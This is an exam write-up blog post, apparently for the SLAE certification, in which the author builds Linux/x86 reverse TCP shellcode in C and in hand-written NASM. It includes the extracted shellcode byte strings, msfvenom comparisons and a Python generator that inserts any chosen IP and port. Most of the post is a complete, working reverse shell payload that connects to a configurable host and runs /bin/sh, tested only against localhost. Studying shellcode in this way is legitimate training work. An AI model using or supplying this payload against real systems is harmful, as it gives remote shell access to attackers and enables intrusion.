Shell Reverse TCP Shellcode – SLAE Exam Assignment #2

Assignment #2 for the SLAE exam is to write a shell reverse TCP shellcode.

Shell Reverse TCP Shellcode - Introduction

First, the requirements for assignment #2 were as follows.

Create a Shell_Reverse_TCP shellcode
  - Reverse connects to configured IP and Port
  - Execs shell on successful connection

IP and port should be easily configurable

This is very similar to my earlier post on the shell bind TCP shellcode. I will skip a lot of the debugging in the middle, so this post will be shorter.

Other than that, let's jump right in!

Shell Reverse TCP Shellcode - C Version

First, I decided to write the initial application in C.

This still allows me to understand a reverse shell at a higher level. Again, I can then analyze the code in preparation for writing the actual assembly.

This application was even simpler than my shell bind TCP version. All I had to add was a way to configure the IP address. Plus, I was able to remove the second socket, and change my bind to connect!

My application is well commented, so I do not think that I will need to explain it any further. You can find my completed example below.

#include <stdio.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 4444

int main(int argc, char **argv)
{
    // Create the socket (IPv4, TCP, and IP)
    int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    // Configure the addr values for the connect() call
    struct sockaddr_in address;
    // IPv4
    address.sin_family = AF_INET;
    // Connect to 127.0.0.1
    address.sin_addr.s_addr = inet_addr(IP);
    // Use the defined port (htons is used to fix the byte order)
    address.sin_port = htons(PORT);

    printf("%i", sizeof(address));

    // Connect to the socket at the specified IP/port
    // http://man7.org/linux/man-pages/man2/connect.2.html
    connect(sock, (struct sockaddr *)&address, sizeof(address));

    // Duplicate the file descriptors for STDIN, STDOUT, and STDERR to the newly created socket
    // This functions as a redirect for all input and output over the listening socket, allowing interacting with the executed program
    // http://man7.org/linux/man-pages/man2/dup.2.html
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);

    // Execute /bin/sh with no arguments or environment strings
    execve("/bin/sh", NULL, NULL);

    return 0;
}

Testing the C Version

With my C application written, it was time to make sure that it worked.

First, I started up my netcat listener. The slight difference in syntax is due to my Ubuntu using the netcat-bsd package.

doyler@slae:~/slae/_exam/shell_reverse_tcp$ nc -lv 4444

Next, I ran the application itself, to connect to my listener.

doyler@slae:~/slae/_exam/shell_reverse_tcp$ ./revshell 

Finally, I caught the shell, and verified execution!

doyler@slae:~/slae/_exam/shell_reverse_tcp$ nc -lv 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(doyler) gid=1000(doyler) groups=1000(doyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
hostname
slae
exit

Shell Reverse TCP Shellcode - Working Attempt

I will be skipping the execution analysis this time, as I'm already familiar with almost all the syscalls. I call connect the same way that I previously called bind().

That said, I did take a quick look at the IP address parameter for connect(), just to make sure that I understood it.

doyler@slae:~/slae/_exam/shell_reverse_tcp$ strace -e connect ./revshell 
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 ECONNREFUSED (Connection refused)

Taking a quick look in GDB, I also verified that the program pushed the IP in network byte order.

doyler@slae:~/slae/_exam/shell_reverse_tcp$ gdb -q revshell
Reading symbols from /home/doyler/slae/_exam/shell_reverse_tcp/revshell...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048507
(gdb) set disassembly-flavor intel
(gdb) r
Starting program: /home/doyler/slae/_exam/shell_reverse_tcp/revshell 

Breakpoint 1, 0x08048507 in main ()
(gdb) disassemble 
Dump of assembler code for function main:
   0x08048504 <+0>:	push   ebp
   0x08048505 <+1>:	mov    ebp,esp
=> 0x08048507 <+3>:	and    esp,0xfffffff0
   0x0804850a <+6>:	sub    esp,0x30
   0x0804850d <+9>:	mov    DWORD PTR [esp+0x8],0x0
   0x08048515 <+17>:	mov    DWORD PTR [esp+0x4],0x1
   0x0804851d <+25>:	mov    DWORD PTR [esp],0x2
   0x08048524 <+32>:	call   0x8048420 <socket@plt>
   0x08048529 <+37>:	mov    DWORD PTR [esp+0x2c],eax
   0x0804852d <+41>:	mov    WORD PTR [esp+0x1c],0x2
   0x08048534 <+48>:	mov    DWORD PTR [esp],0x80486c0

... snip ...

(gdb) x/3xw 0x80486c0
0x80486c0:	0x2e373231	0x2e302e30	0x69250031
(gdb) x/s 0x80486c0
0x80486c0:	 "127.0.0.1"

Additionally, I started from my shortened shell_bind_tcp application, to save myself some time.

First, I attempted to push my entire "127.0.0.1" IP address on to the stack.

doyler@slae:~/slae/_exam/shell_reverse_tcp$ python reverse.py "127.0.0.1"
String length : 9
1 : 31
.0.0 : 2e302e30
.721 : 2e373231
	; Creating the sockaddr_in structure
	; Push 127.0.0.1 onto the stack
	; ESI is already 0
	push esi
	push byte 0x31
	push 0x2e302e20
	push 0x2e373231

	; Push 4444 (PORT) onto the stack
	push word 0x5c11  ; Port number in network byte (big endian) order = 4444

Unfortunately, this caused me to have a slightly mangled stack and system call.

Dump of assembler code from 0x8048083 to 0x804808d:
=> 0x08048083 <connect+17>:	pushw  0x5c11
   0x08048087 <connect+21>:	push   bx
   0x08048089 <connect+23>:	mov    ecx,esp
   0x0804808b <connect+25>:	push   0x10
End of assembler dump.
0x08048083 in connect ()
(gdb) 
$101 = 0x66
$102 = 0x3
$103 = 0xbffff3a4
$104 = 0x0
$105 = 0x7
0xbffff396:	0x32315c11	0x2e202e37	0x00312e30	0x00000000
0xbffff3a6:	0x00010000	0x00000000	0x00010000	0xf5160000
doyler@slae:~/slae/_exam/shell_reverse_tcp$ strace -e execve,socket,connect,dup2 ./shell_reverse_tcp 
execve("./shell_reverse_tcp", ["./shell_reverse_tcp"], [/* 37 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_AX25, sa_data="\21\\127. .0.1\0\0\0"}, 16) = -1 EAFNOSUPPORT (Address family not supported by protocol)

That was a quick enough fix, and I found that I could just push 0x0101017f to represent 127.0.0.1.

My code is well commented, and you can find it below.

; Filename: shell_reverse_tcp.nasm
; Author: Ray Doyle
; Website: https://www.doyler.net
;
; Purpose: SLAE Exam Assignment #2 - Shell Reverse TCP Shellcode (Linux/x86)

global _start            

section .text
_start:
    ; http://man7.org/linux/man-pages/man2/socket.2.html

    ; Move 102 (sys_socketcall) into EAX
    ; Push/Pop saves 1 byte over xor/mov
    push 0x66
    pop eax

    ; Move 1 (SYS_SOCKET) into EBX
    ; Push/Pop saves 1 byte over xor/mov
    push 0x1
    pop ebx

    ; int sock = socket(AF_INET, SOCK_STREAM, 0);

    ; Push the variables for the socket() call onto the stack in reverse order
    ; Push 0 onto the stack (IP - 3rd argument)
    xor esi, esi
    push esi

    ; Push 1 onto the stack (SOCK_STREAM - 2nd argument)
    ; EBX already contains 0x1, saving 1 byte over a push
    push ebx

    ; Push 2 onto the stack (AF_INET - 1st argument)
    push 0x2

    ; Move the stack pointer into ECX, to point to the arguments for socket()
    mov ecx, esp

    ; Execute the socket() call
    int 0x80

    ; Move the returned file descriptor from EAX to EDI for later usage
    ; Pop/Xchg moves EAX into EDI as well as popping the 2 (former AF_INET) into EAX for the SYS_CONNECT argument (same number of bytes)
    pop edi
    xchg eax, edi

connect:
    ; http://man7.org/linux/man-pages/man2/connect.2.html

    ; Move 102 (sys_socketcall) into EAX
    ; EAX was cleared by the previous xchg, saving 2 bytes over xor
    ; Moving this into bl, to swap with EAX
    mov bl, 0x66

    ; Move 3 (SYS_CONNECT) into EBX
    ; EAX already contains 0x2 and EBX contains 0x66, the xchg puts them in the correct register (saving 2 bytes over xor/mov)
    xchg eax, ebx
    inc ebx

    ; struct sockaddr_in address;
    ; address.sin_family = AF_INET;
    ; address.sin_addr.s_addr = "127.0.0.1";
    ; address.sin_port = htons(PORT);

    ; Creating the sockaddr_in structure
    ; Push 127.1.1.1 onto the stack (127.0.0.1 would contain NULL bytes)
    ; https://stackoverflow.com/questions/11860068/basic-shellcode-for-connect-function
    push 0x0101017f

    ; Push 4444 (PORT) onto the stack
    push word 0x5c11  ; Port number in network byte (big endian) order = 4444

    ; Push 2 (AF_INET) onto the stack
    ; EBX already contains 0x2, saving 1 byte over push
    push word 0x2

    ; Move the stack pointer into ECX, to point to the sockaddr_in struct
    mov ecx, esp

    ; connect(sock, (struct sockaddr *)&address, sizeof(address));
    
    ; Push 16 (the length of the address struct) onto the stack - 3rd argument
    push 0x10

    ; Push ECX (the pointer to the address structure) onto the stack - 2nd argument
    push ecx

    ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument
    push edi

    ; Move the stack pointer into ECX, to point to the arguments for connect()
    mov ecx, esp

    ; Execute the connect() call
    int 0x80

    ; Move the saved file descriptor from EDI to EBX for dup() calls
    xchg ebx, edi
    
dup:
    ; http://man7.org/linux/man-pages/man2/dup2.2.html
    
    ; Load 0x2 into ECX as a loop counter, this will be used to loop through STDERR(2), STDOUT(1), and STDIN(0)
    xor ecx, ecx
    mov cl, 0x2

dup_loop:
    mov al, 0x3f
    int 0x80
    dec ecx
    jns dup_loop

execve:
    ; http://man7.org/linux/man-pages/man2/execve.2.html

    ; Push the first null dword (terminate the filename) 
    ; ESI is already empty, push it onto the stack as the null terminator
    push esi

    ; Move 11 (sys_execve) into EAX
    mov al, 0xb

    ; execve("/bin/sh", NULL, NULL);

    ; Push //bin/sh (8 bytes) onto the stack
    push 0x68732f2f
    push 0x6e69622f

    ; Move the stack pointer into EBX, to point to the filename
    mov ebx, esp

    ; Move 0 (argv) into ECX
    ; ECX contains 0xffffffff after the dup loop, so increment saves 1 byte over xor
    inc ecx

    ; Move 0 (envp) into EDX
    xor edx, edx

    ; Execute the execve() call
    int 0x80

Successful Execution

With a successful strace, it was time to test my application as actual shellcode.

First, I grabbed the shellcode string from my binary.

doyler@slae:~/slae/_exam/shell_reverse_tcp$ objdump -d ./shell_reverse_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\xb3\x66\x93\x43\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x56\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x31\xd2\xcd\x80"

Next, I ran the compiled shellcode application.

doyler@slae:~/slae/_exam/shell_reverse_tcp$ ./shellcode 
Shellcode Length:  77

My netcat listener caught the shell, and I was able to execute commands!

doyler@slae:~/slae/_exam/shell_reverse_tcp$ nc -lv 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(doyler) gid=1000(doyler) groups=1000(doyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
whoami
doyler
exit
doyler@slae:~/slae/_exam/shell_reverse_tcp$

Shellcode Optimization

With a working shellcode, I wanted to see if I could drop it below 77 bytes.

In the end, I was only able to lose 2 byes from register manipulation.

That said, you can find the shortened version of my application below. I kept the original instructions in comments as well, so that you can compare the two.

; Filename: shell_reverse_tcp.nasm
; Author: Ray Doyle
; Website: https://www.doyler.net
;
; Purpose: SLAE Exam Assignment #2 - Shell Reverse TCP Shellcode (Linux/x86)

global _start            

section .text
_start:
    ; http://man7.org/linux/man-pages/man2/socket.2.html

    ; Move 102 (sys_socketcall) into EAX
    ; Push/Pop saves 1 byte over xor/mov
    push 0x66
    pop eax

    ; Move 1 (SYS_SOCKET) into EBX
    ; Push/Pop saves 1 byte over xor/mov
    push 0x1
    pop ebx

    ; int sock = socket(AF_INET, SOCK_STREAM, 0);

    ; Push the variables for the socket() call onto the stack in reverse order
    ; Push 0 onto the stack (IP - 3rd argument)
    xor esi, esi
    push esi

    ; Push 1 onto the stack (SOCK_STREAM - 2nd argument)
    ; EBX already contains 0x1, saving 1 byte over a push
    push ebx

    ; Push 2 onto the stack (AF_INET - 1st argument)
    push 0x2

    ; Move the stack pointer into ECX, to point to the arguments for socket()
    mov ecx, esp

    ; Execute the socket() call
    int 0x80

    ; Move the returned file descriptor from EAX to EDI for later usage
    ; Pop/Xchg moves EAX into EDI as well as popping the 2 (former AF_INET) into EAX for the SYS_CONNECT argument (same number of bytes)
    pop edi
    xchg eax, edi

connect:
    ; http://man7.org/linux/man-pages/man2/connect.2.html

    ; Move 102 (sys_socketcall) into EAX
    ; EAX was cleared by the previous xchg, saving 2 bytes over xor
    ; Moving this into bl, to swap with EAX
    mov bl, 0x66

    ; Move 3 (SYS_CONNECT) into EBX
    ; EAX already contains 0x2 and EBX contains 0x66, the xchg puts them in the correct register (saving 2 bytes over xor/mov)
    xchg eax, ebx
    ; Will utilize the 0x2 in EBX before incrementing it...see below
    ;inc ebx

    ; struct sockaddr_in address;
    ; address.sin_family = AF_INET;
    ; address.sin_addr.s_addr = "127.0.0.1";
    ; address.sin_port = htons(PORT);

    ; Creating the sockaddr_in structure
    ; Push 127.1.1.1 onto the stack (127.0.0.1 would contain NULL bytes)
    ; https://stackoverflow.com/questions/11860068/basic-shellcode-for-connect-function
    push 0x0101017f

    ; Push 4444 (PORT) onto the stack
    push word 0x5c11  ; Port number in network byte (big endian) order = 4444

    ; Push 2 (AF_INET) onto the stack
    ; EBX already contains 0x2, saving 1 byte over pushw 0x2
    push word bx
    ; Increment from earlier to get 0x3 into EBX for SYS_CONNECT
    inc ebx

    ; Move the stack pointer into ECX, to point to the sockaddr_in struct
    mov ecx, esp

    ; connect(sock, (struct sockaddr *)&address, sizeof(address));
    
    ; Push 16 (the length of the address struct) onto the stack - 3rd argument
    push 0x10

    ; Push ECX (the pointer to the address structure) onto the stack - 2nd argument
    push ecx

    ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument
    push edi

    ; Move the stack pointer into ECX, to point to the arguments for connect()
    mov ecx, esp

    ; Execute the connect() call
    int 0x80

    ; Move the saved file descriptor from EDI to EBX for dup() calls
    xchg ebx, edi
    
dup:
    ; http://man7.org/linux/man-pages/man2/dup2.2.html
    
    ; Load 0x2 into ECX as a loop counter, this will be used to loop through STDERR(2), STDOUT(1), and STDIN(0)
    ;xor ecx, ecx
    ;mov cl, 0x2
    ; Push/pop saves one byte over xor/mov
    push 0x2
    pop ecx

dup_loop:
    mov al, 0x3f
    int 0x80
    dec ecx
    jns dup_loop

execve:
    ; http://man7.org/linux/man-pages/man2/execve.2.html

    ; Push the first null dword (terminate the filename) 
    ; ESI is already empty, push it onto the stack as the null terminator
    push esi

    ; Move 11 (sys_execve) into EAX
    mov al, 0xb

    ; execve("/bin/sh", NULL, NULL);

    ; Push //bin/sh (8 bytes) onto the stack
    push 0x68732f2f
    push 0x6e69622f

    ; Move the stack pointer into EBX, to point to the filename
    mov ebx, esp

    ; Move 0 (argv) into ECX
    ; ECX contains 0xffffffff after the dup loop, so increment saves 1 byte over xor
    inc ecx

    ; Move 0 (envp) into EDX
    xor edx, edx

    ; Execute the execve() call
    int 0x80

Shell Reverse TCP Shellcode - Final Execution

With my application shortened, I grabbed the final version of my shellcode using objdump.

doyler@slae:~/slae/_exam/shell_reverse_tcp$ objdump -d ./shell_reverse_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\xb3\x66\x93\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x53\x43\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x87\xdf\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x56\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x31\xd2\xcd\x80"

While it wasn't much shorter than my first working version, I still had a working shell reverse TCP shellcode of length 75!

doyler@slae:~/slae/_exam/shell_reverse_tcp$ ./shellcode 
Shellcode Length:  75
^C

Shell Reverse TCP Shellcode - Final Execution

Metasploit Comparison

For one last exercise, I wanted to compare my hand-written shellcode to the msfvenom generated version.

As you can see, my shellcode is only 7 bytes longer, which isn't so bad. That said, I didn't realize this last post, but the msf version has a null byte in it! I've highlighted it below, so I don't think that it counts as having a smaller shellcode then me.

doyler@slae:~/slae/_exam/shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp RHOST=127.1.1.1 RPORT=4444 -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  93                xchg eax,ebx
00000010  59                pop ecx
00000011  B03F              mov al,0x3f
00000013  CD80              int 0x80
00000015  49                dec ecx
00000016  79F9              jns 0x11
00000018  68C0A80552        push dword 0x5205a8c0
0000001D  680200115C        push dword 0x5c110002
00000022  89E1              mov ecx,esp
00000024  B066              mov al,0x66
00000026  50                push eax
00000027  51                push ecx
00000028  53                push ebx
00000029  B303              mov bl,0x3
0000002B  89E1              mov ecx,esp
0000002D  CD80              int 0x80
0000002F  52                push edx
00000030  686E2F7368        push dword 0x68732f6e
00000035  682F2F6269        push dword 0x69622f2f
0000003A  89E3              mov ebx,esp
0000003C  52                push edx
0000003D  53                push ebx
0000003E  89E1              mov ecx,esp
00000040  B00B              mov al,0xb
00000042  CD80              int 0x80

I also tried to see if any of the encoders could keep the size fairly small, but none of those worked either.

doyler@slae:~/slae/_exam/shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp RHOST=127.1.1.1 RPORT=4444 -b '\x00' -s 77 -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai failed with encoder has made a buffer that is too big
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=31, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 92 (iteration=0)
x86/call4_dword_xor failed with encoder has made a buffer that is too big
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown succeeded with size 84 (iteration=0)
x86/countdown failed with encoder has made a buffer that is too big
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov succeeded with size 90 (iteration=0)
x86/fnstenv_mov failed with encoder has made a buffer that is too big
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 97 (iteration=0)
x86/jmp_call_additive failed with encoder has made a buffer that is too big
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 197 (iteration=0)
x86/alpha_mixed failed with encoder has made a buffer that is too big
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 205 (iteration=0)
x86/alpha_upper failed with encoder has made a buffer that is too big
Attempting to encode payload with 1 iterations of x86/nonalpha
x86/nonalpha failed with Encoding failed due to a bad character (index=67, char=0x00)
Attempting to encode payload with 1 iterations of x86/nonupper
x86/nonupper failed with Encoding failed due to a bad character (index=67, char=0x00)
Error: An encoding exception occurred.

Shell Reverse TCP Shellcode - Port Configuration

As before, I still had one more requirement to complete:

  • IP and port should be easily configurable

I modified the Python script from my last assignment, and added IP configuration.

#!/usr/bin/python

# SLAE Exam Assignment #2: Shell Reverse TCP Shellcode (Linux/x86) Generator
# Author: Ray Doyle (@doylersec)
# Website: https://www.doyler.net

import struct

ip = "127.1.1.1"
port = 4444

if port > 65535:
    print "\nPort is greater than 65535.\n"
    exit()
elif port < 1024:
    print "\nPort is smaller than 1024. Note that root is required for this.\n"
    exit()

print "\nOriginal port: " + str(port)
print "Converted to hexidecimal: " + hex(port)[2:]

# https://stackoverflow.com/questions/13261109/python-string-of-binary-escape-sequences-as-literal
encodedPort = ''.join(map(lambda c:'\\x%02x'%c, map(ord, struct.pack('!H', port))))

if '\\x00' in encodedPort:
    print "Port contains null bytes, please modify!"
    exit()

print "\nOriginal IP: " + str(ip)
    
ip = ip.split('.')
hexIP = '{:02X}{:02X}{:02X}{:02X}'.format(*map(int, ip)).lower()

print "Converted to hexidecimal: " + hexIP

encodedIP = ''.join(r'\x' + hexIP[i:i+2] for i in range(0, len(hexIP), 2))

if '\\x00' in encodedIP:
    print "IP Address contains null bytes, please modify!"
    exit()

shellcode = ("\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31\\xf6\\x56\\x53\\x6a" + 
    "\\x02\\x89\\xe1\\xcd\\x80\\x5f\\x97\\xb3\\x66\\x93\\x68" + encodedIP +  #\x7f\x01\x01\x01
    "\\x66\\x68" + encodedPort + "\\x66\\x53\\x43\\x89\\xe1\\x6a\\x10" + 
    "\\x51\\x57\\x89\\xe1\\xcd\\x80\\x87\\xdf\\x6a\\x02\\x59\\xb0\\x3f" + 
    "\\xcd\\x80\\x49\\x79\\xf9\\x56\\xb0\\x0b\\x68\\x2f\\x2f\\x73\\x68" + 
    "\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x41\\x31\\xd2\\xcd\\x80")

print "\nFinal shellcode"
print "--------------------"
print "\"" + shellcode + "\""
doyler@slae:~/slae/_exam/shell_reverse_tcp$ python generate_reverse_shellcode.py

Original port: 4444
Converted to hexidecimal: 115c

Original IP: 127.1.1.1
Converted to hexidecimal: 7f010101

Final shellcode
--------------------
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\xb3\x66\x93\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x53\x43\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x87\xdf\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x56\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x31\xd2\xcd\x80"

Shell Reverse TCP Shellcode - Conclusion

This was another awesome assignment, and it was much easier after doing the previous one.

The next few posts will be a bit different, and I look forward to them.

Finally, you can find the code and updates in my GitHub repository.

SLAE Exam Requirement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1212

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.